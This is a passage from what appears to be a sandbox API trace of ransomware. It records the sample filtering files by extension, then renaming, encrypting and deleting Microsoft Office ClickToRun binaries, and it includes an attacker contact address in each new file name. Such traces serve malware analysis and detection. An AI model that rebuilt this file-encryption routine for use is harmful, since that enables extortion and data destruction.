	[0085.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0085.712] lstrlenW (lpString=".zip") returned 4
	[0085.712] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.712] lstrlenW (lpString=".rar") returned 4
	[0085.712] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.712] lstrlenW (lpString=".bz2") returned 4
	[0085.712] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.712] lstrlenW (lpString=".7z") returned 3
	[0085.712] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0085.712] lstrlenW (lpString=".dbf") returned 4
	[0085.712] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0085.712] lstrlenW (lpString=".1cd") returned 4
	[0085.712] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0085.712] lstrlenW (lpString=".jpg") returned 4
	[0085.712] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0085.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0085.713] lstrlenW (lpString=".doc") returned 4
	[0085.713] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.713] lstrlenW (lpString=".docx") returned 5
	[0085.713] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0085.713] lstrlenW (lpString=".pdf") returned 4
	[0085.713] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.713] lstrlenW (lpString=".xls") returned 4
	[0085.713] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.713] lstrlenW (lpString=".xlsx") returned 5
	[0085.713] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0085.713] lstrlenW (lpString=".ppt") returned 4
	[0085.713] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0085.713] lstrlenW (lpString=".zip") returned 4
	[0085.713] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.713] lstrlenW (lpString=".rar") returned 4
	[0085.713] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.713] lstrlenW (lpString=".bz2") returned 4
	[0085.713] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.713] lstrlenW (lpString=".7z") returned 3
	[0085.713] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0085.713] lstrlenW (lpString=".dbf") returned 4
	[0085.713] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0085.713] lstrlenW (lpString=".1cd") returned 4
	[0085.713] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.713] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0085.713] lstrlenW (lpString=".jpg") returned 4
	[0085.713] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.714] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0085.714] lstrlenW (lpString="AppvIsvSubsystems64.dll") returned 23
	[0085.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0085.714] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=2285736) returned 1
	[0085.714] CloseHandle (hObject=0x398) returned 1
	[0085.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20
	[0085.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0085.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0085.715] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc64 | out: lpNewFilePointer=0x0) returned 1
	[0085.715] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1
	[0085.715] ReadFile (in: hFile=0x398, lpBuffer=0x3f44058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f44058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0085.729] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xba038, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1
	[0085.729] ReadFile (in: hFile=0x398, lpBuffer=0x3f84058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f84058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0085.739] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x364fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.739] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x1ee0a8, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1
	[0085.739] ReadFile (in: hFile=0x398, lpBuffer=0x3fc4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x3fc4058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0085.762] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.762] WriteFile (in: hFile=0x398, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x364fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fca8*=0xc011a, lpOverlapped=0x0) returned 1
	[0086.186] SetEndOfFile (hFile=0x398) returned 1
	[0086.186] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3e549c0
	[0086.191] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1
	[0086.191] WriteFile (in: hFile=0x398, lpBuffer=0x3e549c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e549c0*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0086.193] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xba038, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1
	[0086.193] WriteFile (in: hFile=0x398, lpBuffer=0x3e549c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e549c0*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0086.195] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x1ee0a8, lpNewFilePointer=0x0, dwMoveMethod=0x364fc74 | out: lpNewFilePointer=0x0) returned 1
	[0086.195] WriteFile (in: hFile=0x398, lpBuffer=0x3e549c0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e549c0*, lpNumberOfBytesWritten=0x364fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0086.197] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0086.197] CloseHandle (hObject=0x398) returned 1
	[0086.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0086.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.573] lstrlenW (lpString=".doc") returned 4
	[0086.573] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.573] lstrlenW (lpString=".docx") returned 5
	[0086.573] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0086.573] lstrlenW (lpString=".pdf") returned 4
	[0086.573] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.573] lstrlenW (lpString=".xls") returned 4
	[0086.573] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.573] lstrlenW (lpString=".xlsx") returned 5
	[0086.573] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0086.573] lstrlenW (lpString=".ppt") returned 4
	[0086.573] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.573] lstrlenW (lpString=".zip") returned 4
	[0086.573] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.573] lstrlenW (lpString=".rar") returned 4
	[0086.573] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.573] lstrlenW (lpString=".bz2") returned 4
	[0086.573] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.573] lstrlenW (lpString=".7z") returned 3
	[0086.573] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.574] lstrlenW (lpString=".dbf") returned 4
	[0086.574] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.574] lstrlenW (lpString=".1cd") returned 4
	[0086.574] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.574] lstrlenW (lpString=".jpg") returned 4
	[0086.574] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.574] lstrlenW (lpString=".doc") returned 4
	[0086.574] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.574] lstrlenW (lpString=".docx") returned 5
	[0086.574] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0086.574] lstrlenW (lpString=".pdf") returned 4
	[0086.574] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.574] lstrlenW (lpString=".xls") returned 4
	[0086.574] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.574] lstrlenW (lpString=".xlsx") returned 5
	[0086.574] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0086.574] lstrlenW (lpString=".ppt") returned 4
	[0086.574] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.574] lstrlenW (lpString=".zip") returned 4
	[0086.574] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.574] lstrlenW (lpString=".rar") returned 4
	[0086.574] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.574] lstrlenW (lpString=".bz2") returned 4
	[0086.574] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.575] lstrlenW (lpString=".7z") returned 3
	[0086.575] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.575] lstrlenW (lpString=".dbf") returned 4
	[0086.575] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.575] lstrlenW (lpString=".1cd") returned 4
	[0086.575] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81
	[0086.575] lstrlenW (lpString=".jpg") returned 4
	[0086.575] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.575] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0086.575] lstrlenW (lpString="C2R64.dll") returned 9
	[0086.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0086.575] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1208928) returned 1
	[0086.575] CloseHandle (hObject=0x398) returned 1
	[0086.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20
	[0086.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0086.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0086.576] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.576] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0086.576] GetLastError () returned 0x0
	[0086.576] ReadFile (in: hFile=0x398, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0087.158] WriteFile (in: hFile=0x360, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0087.299] ReadFile (in: hFile=0x398, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x27270, lpOverlapped=0x0) returned 1
	[0088.261] WriteFile (in: hFile=0x360, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x27280, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x27280, lpOverlapped=0x0) returned 1
	[0088.267] ReadFile (in: hFile=0x398, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.267] WriteFile (in: hFile=0x360, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0088.267] SetEndOfFile (hFile=0x360) returned 1
	[0088.267] CloseHandle (hObject=0x360) returned 1
	[0088.603] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.604] SetEndOfFile (hFile=0x398) returned 1
	[0088.606] CloseHandle (hObject=0x398) returned 1
	[0088.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0088.607] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 1
	[0088.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0088.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0088.649] lstrlenW (lpString=".doc") returned 4
	[0088.649] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.649] lstrlenW (lpString=".docx") returned 5
	[0088.649] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0088.649] lstrlenW (lpString=".pdf") returned 4
	[0088.649] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.649] lstrlenW (lpString=".xls") returned 4
	[0088.649] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.649] lstrlenW (lpString=".xlsx") returned 5
	[0088.649] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0088.649] lstrlenW (lpString=".ppt") returned 4
	[0088.649] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0088.649] lstrlenW (lpString=".zip") returned 4
	[0088.649] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.649] lstrlenW (lpString=".rar") returned 4
	[0088.649] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.649] lstrlenW (lpString=".bz2") returned 4
	[0088.649] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.649] lstrlenW (lpString=".7z") returned 3
	[0088.649] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0088.650] lstrlenW (lpString=".dbf") returned 4
	[0088.650] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0088.650] lstrlenW (lpString=".1cd") returned 4
	[0088.650] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0088.650] lstrlenW (lpString=".jpg") returned 4
	[0088.650] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0088.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0088.650] lstrlenW (lpString=".doc") returned 4
	[0088.650] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.650] lstrlenW (lpString=".docx") returned 5
	[0088.650] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0088.650] lstrlenW (lpString=".pdf") returned 4
	[0088.650] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.650] lstrlenW (lpString=".xls") returned 4
	[0088.650] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.650] lstrlenW (lpString=".xlsx") returned 5
	[0088.650] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0088.650] lstrlenW (lpString=".ppt") returned 4
	[0088.650] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0088.650] lstrlenW (lpString=".zip") returned 4
	[0088.650] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.650] lstrlenW (lpString=".rar") returned 4
	[0088.650] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.650] lstrlenW (lpString=".bz2") returned 4
	[0088.650] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.650] lstrlenW (lpString=".7z") returned 3
	[0088.650] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0088.650] lstrlenW (lpString=".dbf") returned 4
	[0088.650] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0088.651] lstrlenW (lpString=".1cd") returned 4
	[0088.651] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0088.651] lstrlenW (lpString=".jpg") returned 4
	[0088.651] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.651] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0088.651] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0088.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0088.653] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=5967976) returned 1
	[0088.653] CloseHandle (hObject=0x320) returned 1
	[0088.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 0x20
	[0088.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.653] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0088.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0088.654] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc64 | out: lpNewFilePointer=0x0) returned 1
	[0088.654] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1
	[0088.654] ReadFile (in: hFile=0x320, lpBuffer=0x3f44058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f44058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0088.658] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x1e5acd, lpNewFilePointer=0x0, dwMoveMethod=0x364fc24 | out: lpNewFilePointer=0x0) returned 1
	[0088.658] ReadFile (in: hFile=0x320, lpBuffer=0x3f84058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f84058*, lpNumberOfBytesRead=0x364fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0088.671] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x364fc64 | out: lpNewFilePointer=0xffffffff) returned 1
